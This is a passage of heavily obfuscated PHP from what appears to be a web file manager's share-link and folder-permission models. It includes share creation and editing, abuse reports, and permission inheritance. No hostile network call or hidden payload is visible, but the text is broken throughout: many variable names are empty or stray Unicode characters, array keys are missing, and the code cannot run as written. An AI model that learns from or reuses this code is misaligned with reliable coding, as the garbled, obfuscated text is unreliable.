$㥆))->find(); if (!is_array($ᣴ)) { return !1; } return $ᣴ[$[753]]; } public function set($, $, $ۨ = 3600) { $͚瘋 =& $_SERVER[]; $Ɣ = array($͚瘋[1996] => $, $͚瘋[1900] => $, $͚瘋[1997] => $ۨ + time()); if (Session::get($͚瘋[1998])) { $Ɣ[$͚瘋[1670]] = Session::get($͚瘋[1998]); } else { $Ɣ[$͚瘋[1670]] = 0; } if ($this->get($)) { return $this->where(array($͚瘋[1996] => $))->save($Ɣ); } else { return $this->add($Ɣ, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[][1996] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][1999] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\150\141\x72\145"; protected $dataAuto = array(array("\x6d\157\144\x69\x66\x79\124\151\155\145", "\x74\151\x6d\145", "\x69\x6e\163\145\162\164\54\x75\160\144\x61\x74\145", "\x66\x75\x6e\143\164\151\157\156"), array("\x63\x72\145\141\x74\x65\x54\151\x6d\x65", "\x74\x69\155\145", "\x69\x6e\163\145\162\164", "\146\x75\x6e\143\x74\x69\x6f\156"), array("\157\x70\164\x69\157\x6e\x73", '', "\x69\x6e\163\145\162\164\54\165\x70\x64\141\164\145\x2c\163\145\154\x65\x63\x74", "\152\x73\x6f\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($;) { $ =& $_SERVER[]; $ = isset($;[0]) ? $;[0] : !1; return array($[2000] => array(USER_ID, $[2001]), $[1941] => array($, $[2002])); } protected function listSimple() { $̳ = array($_SERVER[][1670] => USER_ID); $ = $this->field($this->fieldList)->where($̳)->select(); return $ ? $ : array(); } protected function getInfo($ä, $ = false) { $ =& $_SERVER[]; if ($) { return $this->_getShareInfo(array($[593] => $ä)); } $ = $this->cacheFunctionGet($[1943], $ä); return $; } public function getInfoByHash($ƫ) { return $this->_getShareInfo(array($_SERVER[][2003] => $ƫ)); } public function getInfoByPath($) { $ǒ =& $_SERVER[]; $Ɋ = array($ǒ[1670] => USER_ID, $ǒ[402] => $); return $this->_getShareInfo($Ɋ); } public function getInfoBySourcePath($) { $Β߹ =& $_SERVER[]; $ = array($Β߹[1670] => USER_ID, $Β߹[1177] => $); return $this->_getShareInfo($); } private function _getShareInfo($喵Ѯ) { $̸ =& $_SERVER[]; $䘢 = $this->where($喵Ѯ)->find(); if (!$䘢) { return !1; } $喵Ѯ = array($̸[593] => $䘢[$̸[593]]); $֢ = $̸[2004]; $ = Model($̸[594])->order($̸[399])->field($֢)->where($喵Ѯ)->select(); if ($䘢[$̸[402]] == $̸[198]) { $䘢[$̸[87]] = IO::info($䘢[$̸[1177]]); } else { $䘢[$̸[87]] = Model($̸[1341])->pathInfo($䘢[$̸[402]]); } $䘢[$̸[2005]] = $; return $䘢; } protected function getInfoAuth($) { $ =& $_SERVER[]; $ = $this->getInfo($); if ($[$[1670]] == USER_ID) { $[$[413]] = $[$[87]][$[413]]; } else { $[$[413]] = Model($[493])->authMake($[$[2005]]); } return $; } protected function listData($ = null, $ = 300) { $ũ =& $_SERVER[]; $ = array(array($ũ[488] => array($ũ[1014], 0), $ũ[591] => array($ũ[1014], 0), $ũ[2006] => $ũ[1959])); if ($ == $ũ[2007]) { $ = array($ũ[488] => 1); } else { if ($ == $ũ[1163]) { $ = array($ũ[591] => 1); } } $[$ũ[1670]] = USER_ID; $ = $this->where($)->selectPage($); return $; } protected function listToMe($Ա = 300) { $ =& $_SERVER[]; $۵ = Model($[2008])->userGroupParents(USER_ID); $♾ = array($[576] => SourceModel::TYPE_USER, $[496] => USER_ID); if ($۵) { $♾ = array(array($[576] => SourceModel::TYPE_USER, $[496] => USER_ID), array($[576] => SourceModel::TYPE_GROUP, $[496] => array($[7], $۵)), $[2006] => $[1959]); } $ϥ = Model($[594])->where($♾)->selectPage($Ա); $렜 = array_to_keyvalue_group($ϥ[$[369]], $[593]); if (!$렜) { return $ϥ; } $坜 = $[2009]; $♾ = array($[593] => array($[418], array_keys($렜)), $[1670] => array($[1016], $[198])); $÷ = $this->field($坜)->where($♾)->select(); foreach ($÷ as $ => &$ݯ) { $ݯ[$[2005]] = $렜[$ݯ[$[593]]]; } unset($ݯ); $ = array($[2010] => $÷, $[2011] => $ϥ[$[366]]); return $; } protected function shareAdd($⑷ݐ, $) { $ᦊ =& $_SERVER[]; $ȡ = $this->_addShareData($⑷ݐ, $); if (!empty($[$ᦊ[2012]])) { $this->_shareAuthSet($ȡ, $[$ᦊ[2012]]); } $this->shareEventAdd($⑷ݐ, $, $ᦊ[2013]); return $ȡ; } protected function shareAddSystem($, $ʪ) { $ݗƳ =& $_SERVER[]; $ = $this->_addShareData($, $ʪ, $ݗƳ[1286]); $this->_shareAuthSet($, $ʪ[$ݗƳ[2012]]); return $; } private function shareEventAdd($, $, $͂ = "\141\144\144") { $ϙ =& $_SERVER[]; if (!$ || $ == $ϙ[198]) { return; } if ($͂ == $ϙ[2013]) { if ($[$ϙ[488]] == $ϙ[88]) { Model($ϙ[561])->eventShare($, $ϙ[2014]); } if ($[$ϙ[591]] == $ϙ[88]) { Model($ϙ[561])->eventShare($, $ϙ[2015]); } return; } $ = $this->getInfoByPath($); $ = $ϙ[2016]; if ($[$ϙ[488]] == $ϙ[198] && $[$ϙ[488]] == $ϙ[88]) { $ = $ϙ[2014]; } if ($[$ϙ[488]] == $ϙ[88] && $[$ϙ[488]] == $ϙ[198]) { $ = $ϙ[2017]; } if ($[$ϙ[591]] == $ϙ[198] && $[$ϙ[591]] == $ϙ[88]) { $ = $ϙ[2015]; } if ($[$ϙ[591]] == $ϙ[88] && $[$ϙ[591]] == $ϙ[198]) { $ = $ϙ[2018]; } Model($ϙ[561])->eventShare($, $); return; } private function _addShareData($, $ʦ = array(), $坬 = false) { $ʏ =& $_SERVER[]; $ = $坬 == $ʏ[1286] ? 0 : USER_ID; $ȉ = array($ʏ[417] => $, $ʏ[1661] => $); if ($ == 0) { $ȉ = array($ʏ[2019] => $ʦ[$ʏ[1177]], $ʏ[1661] => $); } if ($ܛ = $this->where($ȉ)->find()) { return $ܛ[$ʏ[593]]; } if ($ == 0) { $۾ = array($ʏ[32] => get_path_this($ʦ[$ʏ[84]])); } else { $۾ = Model($ʏ[824])->sourceInfo($); if (!$۾) { return !1; } } if (!$ʦ[$ʏ[1570]]) { $ʦ[$ʏ[1570]] = $۾[$ʏ[32]]; } $՚ = array($ʏ[1661] => $, $ʏ[417] => $, $ʏ[1570] => $ʏ[12], $ʏ[488] => 0, $ʏ[591] => 0, $ʏ[1177] => $ʏ[12], $ʏ[307] => $ʏ[12], $ʏ[891] => $ʏ[12], $ʏ[2020] => 0, $ʏ[2021] => 0, $ʏ[760] => 0, $ʏ[2022] => $ʏ[12], $ʏ[2003] => $ʏ[12]); $ = explode($ʏ[50], $ʏ[2023]); foreach ($ as $ߘ) { if (!isset($ʦ[$ߘ])) { continue; } $՚[$ߘ] = $ʦ[$ߘ]; } $ڱ = $this->add($՚); $ܡΝ = array($ʏ[2003] => short_id($ڱ)); $this->where(array($ʏ[2024] => $ڱ))->save($ܡΝ); return $ڱ; } private function _shareAuthSet($˨, $Λ) { $ =& $_SERVER[]; if (!is_array($Λ)) { return !1; } $ = Model($[1969]); $->where(array($[593] => $˨))->delete(); $ = array(); foreach ($Λ as $) { $ų = SourceModel::TYPE_USER; if ($[$[411]] == SourceModel::TYPE_GROUP) { $ų = SourceModel::TYPE_GROUP; } $ϴ币 = array($[593] => $˨, $[411] => $ų, $[496] => intval($[$[496]]), $[1965] => 0, $[2025] => -1); if ($[$[1965]]) { $ϴ币[$[1965]] = $[$[1965]]; } else { if ($[$[2025]]) { $ϴ币[$[2025]] = $[$[2025]]; } } $[] = $ϴ币; } return $->addAll($, array(), !0); } public function numViewAdd($) { $Ă =& $_SERVER[]; $ = array($Ă[2024] => $); $this->where($)->setAdd($Ă[2020]); } public function numDownloadAdd($) { $̼ =& $_SERVER[]; $ = array($̼[2024] => $); $this->where($)->setAdd($̼[2021]); } protected function shareEdit($ϫ, $) { $۹ =& $_SERVER[]; $Ѝ = $this->getInfo($ϫ); if (!$Ѝ) { return !1; } $this->_checkLinkShare($, $Ѝ); $ = array(); $Ȧ = explode($۹[50], $۹[2026]); foreach ($Ȧ as $ك) { if (!array_key_exists($ك, $)) { continue; } $[$ك] = $[$ك]; } $this->shareEventAdd($Ѝ[$۹[402]], $, $۹[1831]); $this->where(array($۹[2024] => $ϫ))->save($); if (isset($[$۹[2012]])) { $this->_shareAuthSet($ϫ, $[$۹[2012]]); } return !0; } private function _checkLinkShare($, $ۼ) { $䈈 =& $_SERVER[]; if ($[$䈈[488]] != $䈈[88]) { return; } $Ĭ = $ۼ[$䈈[87]][$䈈[402]]; if ($ۼ[$䈈[87]][$䈈[33]] != $䈈[200]) { $ = $this->_folderReport($Ĭ); if (!$) { return; } show_json(LNG($䈈[2027]) . $䈈[2028] . $, !1); } $ͯ = Model($䈈[824])->fileInfoGet($ۼ[$䈈[87]][$䈈[402]]); if (!$ͯ) { return; } $̼ = $this->shareFileMeta($ͯ[$䈈[468]]); if (isset($̼[$䈈[374]]) && $̼[$䈈[374]] == $䈈[88]) { show_json(LNG($䈈[2029]), !1); } } private function _folderReport($) { $ʊ =& $_SERVER[]; $һ = array($ʊ[468] => array($ʊ[1014], 0), $ʊ[748] => 3); $ܘ̿ = Model($ʊ[2030])->where($һ)->field($ʊ[468])->select(); if (!$ܘ̿) { return !1; } $ܘ̿ = array_to_keyvalue($ܘ̿, $ʊ[12], $ʊ[468]); $ؚ = $ʊ[50] . $ . $ʊ[50]; $һ = array($ʊ[468] => array($ʊ[7], $ܘ̿), $ʊ[511] => array($ʊ[383], "\x25{$ؚ}\x25"), $ʊ[431] => 0); $ = Model($ʊ[824])->where($һ)->field($ʊ[2031])->find(); if (!$) { return !1; } $ = substr($[$ʊ[511]], strpos($[$ʊ[511]], $ؚ)); $һ = array($ʊ[402] => array($ʊ[7], trim($, $ʊ[50]))); $ܮ = Model($ʊ[824])->where($һ)->field($ʊ[32])->select(); $꿾 = array_to_keyvalue($ܮ, $ʊ[12], $ʊ[32]); $꿾[] = $[$ʊ[32]]; return implode($ʊ[8], $꿾); } protected function remove($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ = array($[593] => $); $
= $this->where($)->delete(); if ($
) { Model($[594])->where(array($[593] => $))->delete(); } $ŵ = is_array($) ? $[1] : array($); for ($ԙԕ = 0; $ԙԕ < count($ŵ); $ԙԕ++) { $ο = $this->getInfo($ŵ[$ԙԕ]); if ($ο[$[591]] == $[88]) { Model($[561])->eventShare($ο[$[402]], $[2018]); } if ($ο[$[488]] == $[88]) { Model($[561])->eventShare($ο[$[402]], $[2017]); } } return $
; } protected function removeBySource($Į) { $ٌ =& $_SERVER[]; $䣶 = array($ٌ[417] => array($ٌ[418], $Į)); $πɢ = $this->field($ٌ[593])->where($䣶)->select(); $πɢ = array_to_keyvalue($πɢ, $ٌ[12], $ٌ[593]); if (!$πɢ) { return; } $䣶 = array($ٌ[2024] => array($ٌ[418], $πɢ)); $this->where($䣶)->delete(); Model($ٌ[594])->where($䣶)->delete(); } public function listAll($) { $ =& $_SERVER[]; $ڙ = array(); if ($[$[1670]]) { $ڙ[$[1670]] = $[$[1670]]; } if ($[$[759]]) { $ = $[$[760]] ? $[$[760]] : strtotime(date($[2032])); $ڙ[$[201]] = array($[333], array($[$[759]], $)); } if ($[$[33]]) { $ڙ[$[$[33]]] = 1; } else { $ڙ[] = array($[488] => array($[1014], 0), $[591] => array($[1014], 0), $[2006] => $[1959]); } if ($[$[1955]]) { $ڙ[] = array($[2003] => $[$[1955]], $[1570] => array($[383], "\45{$[$[1955]]}\45"), $[2006] => $[1959]); } $ˠ = $this->_makeOrder()->where($ڙ)->selectPage(20); if (empty($ˠ[$[369]])) { return array(); } $this->_listDataApply($ˠ[$[369]]); return $ˠ; } public function listDataApply($ҳ) { $this->_listDataApply($ҳ); return $ҳ; } private function _listDataApply(&$㏀) { $ =& $_SERVER[]; $ = array_to_keyvalue($㏀, $[12], $[1670]); $ = Model($[525])->userListInfo(array_unique($)); $Ѓ = array_to_keyvalue($㏀, $[12], $[402]); $Կѭ = Model($[824])->sourceListInfo($Ѓ, !0); foreach ($㏀ as $ => &$㐘) { $ʂ = $㐘[$[1670]]; $㐘[$[2033]] = $[$ʂ] ? $[$ʂ] : !1; $¶酭 = $㐘[$[402]]; $㐘[$[87]] = $Կѭ[$¶酭] ? $Կѭ[$¶酭] : !1; if ($㐘[$[87]][$[431]] == $[88]) { unset($㏀[$]); } if ($㐘[$[87]] != $[198] && !$㐘[$[87]]) { unset($㏀[$]); } } unset($㐘); $㏀ = array_values($㏀); } private function _makeOrder($ߚ = '') { $ =& $_SERVER[]; $ = array($[201], $[760], $[2020], $[2021]); $瑘 = array($[450] => $[451], $[452] => $[453]); $솕 = Input::get($[457], $[7], $[423], $); $ = Input::get($[458], $[7], $[2034], array($[1952], $[452])); $ = $瑘[$]; $ߚ = $ߚ . "{$솕}\40{$}"; return $this->order($ߚ); } public function reportAdd($߭) { $﷿ =& $_SERVER[]; $ā = array($﷿[593] => $߭[$﷿[593]], $﷿[1670] => USER_ID); if (Model($﷿[2030])->where($ā)->find()) { return !1; } $ۘ = array($﷿[593] => $߭[$﷿[593]], $﷿[1570] => $߭[$﷿[1570]], $﷿[402] => $߭[$﷿[402]], $﷿[468] => $߭[$﷿[468]], $﷿[1670] => USER_ID, $﷿[33] => $߭[$﷿[33]], $﷿[453] => $߭[$﷿[453]]); return Model($﷿[2030])->add($ۘ); } public function reportList($菜) { $ă =& $_SERVER[]; $ȴ = array(); if ($菜[$ă[759]]) { $Ư = $菜[$ă[760]] ? $菜[$ă[760]] : strtotime(date($ă[2032])); $ȴ[$ă[201]] = array($ă[333], array($菜[$ă[759]], $Ư)); } if (isset($菜[$ă[33]]) && in_array($菜[$ă[33]], array($ă[88], $ă[437], $ă[2035], $ă[2036], $ă[2037]))) { $ȴ[$ă[33]] = $菜[$ă[33]]; } if (isset($菜[$ă[748]]) && in_array($菜[$ă[748]], array($ă[198], $ă[88], $ă[437], $ă[2035]))) { $ȴ[$ă[748]] = $菜[$ă[748]]; } $ۄߙ = Input::get($ă[458], $ă[7], $ă[2034], array($ă[1952], $ă[452])); $˽ = array($ă[450] => $ă[451], $ă[452] => $ă[453]); $ȵ = $ă[2038] . $˽[$ۄߙ]; $Ƕ = Model($ă[2030])->where($ȴ)->order($ȵ)->selectPage(20); if (empty($Ƕ[$ă[369]])) { return array(); } $ = array_to_keyvalue_group($Ƕ[$ă[369]], $ă[748], $ă[593]); if (!empty($[0])) { $菜 = $[0]; $ȴ = array($ă[593] => array($ă[7], $菜)); $ = $this->where($ȴ)->field($ă[593])->select(); $ = array_to_keyvalue($, $ă[12], $ă[593]); $ = array_diff($菜, $); if (!empty($)) { foreach ($Ƕ[$ă[369]] as $ => $) { if (in_array($[$ă[593]], $)) { unset($Ƕ[$ă[369]][$]); } } } } $this->_listDataApply($Ƕ[$ă[369]]); return $Ƕ; } public function reportStatus($ɰ) { $Ư =& $_SERVER[]; $ = array($Ư[399] => $ɰ[$Ư[399]]); $ڱ = Model($Ư[2030])->where($)->field($Ư[2039])->find(); if (!$ڱ) { return !1; } $ = array($Ư[748] => $ɰ[$Ư[748]]); if ($ɰ[$Ư[748]] == $Ư[2035] && $ڱ[$Ư[748]] == $Ư[2035]) { $[$Ư[748]] = 0; } $ܿߟ = Model($Ư[2030])->where($)->save($); if ($ɰ[$Ư[748]] == $Ư[437]) { if ($ڱ[$Ư[468]] != $Ư[198] && $this->shareFileMeta($ڱ[$Ư[468]])) { $this->shareFileMeta($ڱ[$Ư[468]], 0); } $this->remove($ڱ[$Ư[593]]); return !0; } if ($ܿߟ && $ɰ[$Ư[748]] == $Ư[2035]) { $ = $[$Ư[748]] == $Ư[2035] ? 1 : 0; $this->shareFileMeta($ڱ[$Ư[468]], $); $this->removeByFile($ڱ[$Ư[468]]); } return $ܿߟ; } private function removeByFile($º) { $ =& $_SERVER[]; $ = Model($[824])->where(array($[468] => $º))->field($[402])->select(); $Ģ = array_to_keyvalue($, $[12], $[402]); $φ = array($[402] => array($[7], $Ģ), $[488] => 1); $ = $this->where($φ)->field($[593])->select(); if (empty($)) { return; } $ƪ = array_to_keyvalue($, $[12], $[593]); $this->remove($ƪ); } private function shareFileMeta($, $ = null) { $Դ =& $_SERVER[]; $ = array($Դ[468] => $, $Դ[94] => $Դ[2040]); if (is_null($)) { return Model($Դ[2041])->where($)->find(); } $[$Դ[374]] = $; Model($Դ[2041])->add($, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\157\x5f\x73\157\x75\162\x63\145\x5f\141\x75\x74\150"; public function getAuth($֔) { $ڳ =& $_SERVER[]; $Ѐ = $this->sourceAuthSelect($֔); $ = array(); $ = array(); $ۂ = 2 << 25; foreach ($Ѐ as $ȉ) { $˲ = Model($ڳ[498])->listData($ȉ[$ڳ[1965]]); if (!$˲) { continue; } $[] = $ȉ; $ = 0; if ($ȉ[$ڳ[411]] == SourceModel::TYPE_GROUP) { $ = $ۂ * 2; } if ($ȉ[$ڳ[411]] == SourceModel::TYPE_USER) { $ = $ۂ; } if ($ȉ[$ڳ[411]] == SourceModel::TYPE_USER && $ȉ[$ڳ[496]] == $ڳ[198]) { $ = 0; } $[] = $˲[$ڳ[413]] + $; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($ž) { $̺ =& $_SERVER[]; static $ޛ = array(); $ = is_array($ž) ? !1 : !0; if ($) { $ž = array($ž); } $ = array(); foreach ($ž as $ݭٕ) { if (isset($ޛ[$ݭٕ])) { $[$ݭٕ] = $ޛ[$ݭٕ]; } } if (count($) == count($ž)) { return $ ? $[$ž[0]] : $; } $̬ = $̺[2042]; $ꙙ = array($̺[402] => array($̺[7], $ž)); $Ӯ֜ = $this->field($̬)->order($̺[399])->where($ꙙ)->select(); $ر = array_to_keyvalue_group($Ӯ֜, $̺[402]); foreach ($ž as $ݭٕ) { $ޛ[$ݭٕ] = $ر[$ݭٕ] ? $ر[$ݭٕ] : array(); } if ($) { return $Ӯ֜; } return $ر; } public function setAuth($ĩ, $) { $߅ =& $_SERVER[]; $ = Model($߅[1341])->sourceInfo($ĩ); if (!$) { return !1; } if ($[$߅[411]] != SourceModel::TYPE_GROUP) { return !1; } $㴞 = 1; $ѱ = $[$߅[496]]; if ($ѱ != $㴞) { $Ƅ = array($߅[1861] => $ѱ); $ = Model($߅[1951])->field($߅[1670])->where($Ƅ)->select(); $ = array_to_keyvalue($, $߅[12], $߅[1670]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $뒜) { if (!in_array($뒜[$߅[411]], $)) { show_json(LNG($߅[2043]), !1); } if ($ѱ != $㴞) { if ($뒜[$߅[411]] == SourceModel::TYPE_GROUP) { } if ($뒜[$߅[496]] != 0 && !in_array($뒜[$߅[496]], $)) { } } if ($뒜[$߅[496]] == 0) { $뒜[$߅[411]] = SourceModel::TYPE_USER; } $[] = array($߅[402] => $ĩ, $߅[411] => intval($뒜[$߅[411]]), $߅[496] => intval($뒜[$߅[496]]), $߅[1965] => intval($뒜[$߅[1965]]) ? intval($뒜[$߅[1965]]) : 0, $߅[2025] => intval($뒜[$߅[2025]]) ? intval($뒜[$߅[2025]]) : -1); } $this->where(array($߅[417] => $ĩ))->delete(); $this->addAll($); return !0; } public function authClear($Ħ) { $ﴊՍ =& $_SERVER[]; $ = Model($ﴊՍ[1341])->sourceInfo($Ħ); $ = array($Ħ); if ($[$ﴊՍ[410]] == $ﴊՍ[88]) { $ = array($ﴊՍ[580] => array($ﴊՍ[540], $[$ﴊՍ[511]] . $Ħ . $ﴊՍ[541])); $ = Model($ﴊՍ[1341])->field($ﴊՍ[417])->where($)->getField($ﴊՍ[402], !0); $[] = $Ħ; } $this->where(array($ﴊՍ[417] => array($ﴊՍ[418], $)))->delete(); return !0; } public function getAllChildren($臠) { $в =& $_SERVER[]; $ = Model($в[1341])->sourceInfo($臠); if ($[$в[410]] != $в[88]) { return $this->sourceListAuth(array($臠)); } if ($[$в[411]] != SourceModel::TYPE_GROUP) { return array(); } $Ͼ = 1; $ = array($臠); if ($[$в[432]] == $в[198] && $[$в[496]] != $Ͼ) { $ = $this->groupChidldAllRootSource($[$в[496]]); } $ = $this->field($в[402])->group($в[402])->select(); $ = array_to_keyvalue($, $в[12], $в[402]); if (!$) { return array(); } $ = $в[2044]; $ = array($в[402] => array($в[7], $), $в[431] => $в[198]); $а߅ = Model($в[824])->field($)->where($)->select(); $ = array($臠); foreach ($а߅ as $) { foreach ($ as $) { $ = $в[50] . $ . $в[50]; $ = $[$в[511]] . $[$в[402]] . $в[50]; if (strstr($, $)) { $[] = $[$в[402]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($ʓ) { $ =& $_SERVER[]; $ľ = Model($[1341])->sourceListInfo($ʓ, !0); $ă = $this->sourceAuthSelect($ʓ); $֘ = array(); $ = array(); foreach ($ľ as $ζ) { unset($ζ[$[456]]); unset($ζ[$[454]]); unset($ζ[$[413]]); unset($ζ[$[87]]); $ = $ă[$ζ[$[402]]]; if (!$) { continue; } $ζ[$[2045]] = $this->authTargetInfo($); $ζ[$[509]] = rtrim($ζ[$[515]], $[8]) . $[8] . ltrim($ζ[$[509]], $[8]); $֘[] = $ζ; $ɕ = count(explode($[8], trim($ζ[$[509]], $[8]))); $[] = $ɕ + ($ζ[$[33]] == $[75] ? 0 : 1000); } array_multisort($, SORT_ASC, $֘); return $֘; } private function groupChidldAllRootSource($) { $ =& $_SERVER[]; $ = Model($[2046])->groupChildrenAll($); $ = array($[432] => 0, $[496] => array($[7], $), $[411] => SourceModel::TYPE_GROUP); $և = Model($[824])->field($[402])->where($)->select(); $և = array_to_keyvalue($և, $[12], $[402]); return $և; } private function authTargetInfo($ﰢ) { $ =& $_SERVER[]; $ = array(); $Ә = array(); $͙ = 2 << 25; foreach ($ﰢ as $) { $ = Model($[498])->listData($[$[1965]]); if (!$) { continue; } if ($[$[411]] == SourceModel::TYPE_USER) { $Кة = Model($[504])->getInfoSimpleOuter($[$[496]]); if ($Кة[$[1670]] == $[1190]) { continue; } if ($Кة[$[1670]] == $[198]) { $Кة[$[32]] = LNG($[2047]); } } else { $Кة = Model($[512])->getInfoSimple($[$[496]]); } if (!$Кة) { continue; } $Кة[$[467]] = $; $[] = $Кة; $ = 0; if ($[$[411]] == SourceModel::TYPE_GROUP) { $ = $͙ * 2; } if ($[$[411]] == SourceModel::TYPE_USER) { $ = $͙; } if ($[$[411]] == SourceModel::TYPE_USER && $[$[496]] == $[198]) { $ = 0; } $Ә[] = $[$[413]] + $; } array_multisort($Ә, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $¦) { $ =& $_SERVER[]; $ʫ = Model($[525])->getInfo($¦); if (!$¦ || !$ || !$ʫ) { return array(); } $։ = Model($[1341])->sourceInfo($); $π = array(); $䐆 = 1; if ($։[$[432]] == $[198] && $։[$[496]] != $䐆 && $this->groupContainUser($։[$[496]], $¦)) { foreach ($ʫ[$[2048]] as $) { $ = Model($[512])->getInfo($[$[1861]]); $ = Model($[525])->getInfoSimpleOuter($¦); $[$[467]] = $[$[413]]; if (Model($[498])->authCheckAction($[$[413]][$[413]], $[1882])) { continue; } $Ԏޅ = array($[32] => $[1210] . $[$[32]], $[402] => $[$[87]][$[402]], $[84] => KodIO::make($[$[87]][$[402]]), $[432] => $[198], $[411] => $[505], $[33] => $[544], $[509] => $[$[516]], $[1861] => $[$[1861]], $[513] => $[$[432]], $[2045] => array($)); $π[$Ԏޅ[$[402]]] = $Ԏޅ; } } $ = array(); $̀ = $this->getAllChildren($); foreach ($̀ as $) { $ = !1; foreach ($[$[2045]] as $֪) { if ($֪[$[1670]]) { if ($֪[$[1670]] == $¦) { $ = !0; break; } } if ($֪[$[1861]]) { if ($this->groupContainUser($֪[$[1861]], $¦)) { $ = !0; break; } } } if ($) { $[] = $; } $Ű = $[$[402]]; if (isset($π[$Ű])) { $[$[2045]][] = $π[$Ű][0]; $π[$Ű] = !1; } } $π = array_filter(array_values($π)); $ = array_merge($π, $); return $; } public function setAllChildrenByUser($ܩ, $ٵ, $) { $ʫæ =& $_SERVER[]; $ҥ = $this->getAllChildrenByUser($ܩ, $ٵ); if (!$ || !$ҥ) { return !1; } foreach ($ҥ as $ޱ) { $® = array(); foreach ($ޱ[$ʫæ[2045]] as $ɠ) { $ = $ɠ[$ʫæ[467]]; $ = $ɠ[$ʫæ[1670]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $ɠ[$ʫæ[1670]] ? $ɠ[$ʫæ[1670]] : $ɠ[$ʫæ[1861]]; if ($ɠ[$ʫæ[1670]] && $ɠ[$ʫæ[1670]] == $ٵ) { continue; } $®[] = array($ʫæ[402] => $ޱ[$ʫæ[402]], $ʫæ[411] => $, $ʫæ[496] => intval($), $ʫæ[1965] => isset($[$ʫæ[399]]) ? intval($[$ʫæ[399]]) : 0, $ʫæ[2025] => isset($[$ʫæ[2025]]) ? intval($[$ʫæ[2025]]) : -1); } $®[] = array($ʫæ[402] => $ޱ[$ʫæ[402]], $ʫæ[411] => SourceModel::TYPE_USER, $ʫæ[496] => intval($ٵ), $ʫæ[1965] => intval($), $ʫæ[2025] => -1); $this->where(array($ʫæ[417] => $ޱ[$ʫæ[402]]))->delete(); $this->addAll($®); } return !0; } public function get($Р) { $ = $this->getSourceList(array($Р), !0); return $[0]; } public function getSourceList($, $Ԩ = false, $ = false) { $Æ =& $_SERVER[]; if (!$) { return array(); } $ = Model($Æ[1341]); if (!$Ԩ && count($) == 1) { $Ԩ = array(); $Ԩ[$[0]] = $->sourceInfo($[0]); } if (!$Ԩ) { $ = array($Æ[417] => array($Æ[418], $)); $Ԩ = $->field($Æ[2049])->where($)->select(); $Ԩ = array_to_keyvalue($Ԩ, $Æ[402]); } $ߴ = $; foreach ($Ԩ as $ᕙ => $) { $ɕ = $->parentLevelArray($[$Æ[511]]); $ߴ = array_merge($ߴ, array($ᕙ), array_reverse($ɕ)); } $ߴ = array_values(array_unique($ߴ)); if (!$ߴ) { return array(); } $͋ = $this->sourceAuthSelect($ߴ); $Ŗ = array(); foreach ($ߴ as $øֶ) { if (isset($͋[$øֶ])) { $Ŗ[$øֶ] = $͋[$øֶ]; } } $ = $this->userIsRoot($); $鑡 = AuthModel::authAll(); $ = array($Æ[414] => $鑡, $Æ[2050] => array($Æ[419] => 0, $Æ[1867] => $鑡, $Æ[420] => LNG($Æ[2051]), $Æ[1884] => $Æ[2052])); $ﰶ = array(); foreach ($Ԩ as $øֶ => $) { if ($ && $GLOBALS[$Æ[6]][$Æ[1880]]) { $ﰶ[$øֶ] = $; continue; } $ﰶ[$øֶ] = $this->makeSourceAuth($, $Ŗ, $); } return $ﰶ; } public function authDeepCheck($Ď, $˨ = false) { $㾗 =& $_SERVER[]; $˨ = $˨ ? $˨ : USER_ID; $ = $this->makeAuthDeep($˨); if (!in_array($Ď, $[$㾗[2053]])) { return !1; } $Ƙ = array(); foreach ($[$㾗[2054]] as $ => $Մ) { if (!in_array($Ď, $Մ)) { continue; } $Ƙ[] = $; } if (!$Ƙ) { return !1; } $ = $Ƙ ? $Ƙ[0] : $Ď; return array($㾗[414] => -1, $㾗[467] => array($㾗[419] => $㾗[1190], $㾗[1867] => $㾗[198], $㾗[420] => LNG($㾗[2055]), $㾗[1884] => $㾗[2056]), $㾗[2057] => LNG($㾗[2058]), $㾗[2059] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ =& $_SERVER[]; static $ҷ٦ = array(); $ = $ ? $ : USER_ID; if (isset($ҷ٦[$])) { return $ҷ٦[$]; } $ु = Model($[2060])->listData(); $Ć = array(); foreach ($ु as $ڪ) { if ($ڪ[$[413]] == 0 && $ڪ[$[1883]] == $[88]) { $Ć[] = $ڪ[$[399]]; } } $ó寔 = $this->userGroupParents($); $ = array($[411] => SourceModel::TYPE_USER, $[496] => $); if ($ó寔) { $ = array(array($[411] => SourceModel::TYPE_USER, $[496] => $), array($[411] => SourceModel::TYPE_GROUP, $[496] => array($[418], $ó寔)), $[1002] => $[1959]); } $ = $this->field($[2061])->where($)->select(); $鎳 = array(); $ = array_to_keyvalue_group($, $[402]); foreach ($ as $І => $) { $ = $this->authArrayCheck($, $); if ($[$[414]] > 0) { $鎳[] = $І . $[12]; } } if ($ó寔) { $͇ = Model($[512]); foreach ($ó寔 as $) { $靨 = $͇->getInfo($); if (!$靨 || !is_array($靨[$[87]])) { continue; } $鎳[] = $靨[$[87]][$[402]]; } } $ = array(); $ʃ = $ó寔; $̚ = Model($[1341]); $͇ = Model($[512]); $ = array(); $ = array(); $ = array(); $ = array(); if ($鎳) { $ = $̚->where(array($[402] => array($[418], $鎳)))->select(); foreach ($ as $܃) { $ٰ = $̚->parentLevelArray($܃[$[511]]); $ = array_merge($, $ٰ); $ʃ[] = $܃[$[496]]; $[$܃[$[402]]] = $ٰ; $[$܃[$[402]]] = $܃[$[496]]; } } $ʃ = array_values(array_unique($ʃ)); $ɏ = $ʃ; foreach ($ɏ as $) { $靨 = $͇->getInfo($); $ٰ = $̚->parentLevelArray($靨[$[511]]); $ʃ = array_merge($ʃ, $ٰ); } $ʃ = array_values(array_unique($ʃ)); foreach ($ʃ as $) { $靨 = $͇->getInfo($); $[] = $靨[$[87]][$[402]]; $[$] = $靨[$[87]][$[402]]; $[$] = $̚->parentLevelArray($靨[$[511]]); } foreach ($ as $ߘ => $) { $ = $[$ߘ]; if (!$ || !$[$]) { continue; } $ڻ = array(); foreach ($[$] as $) { 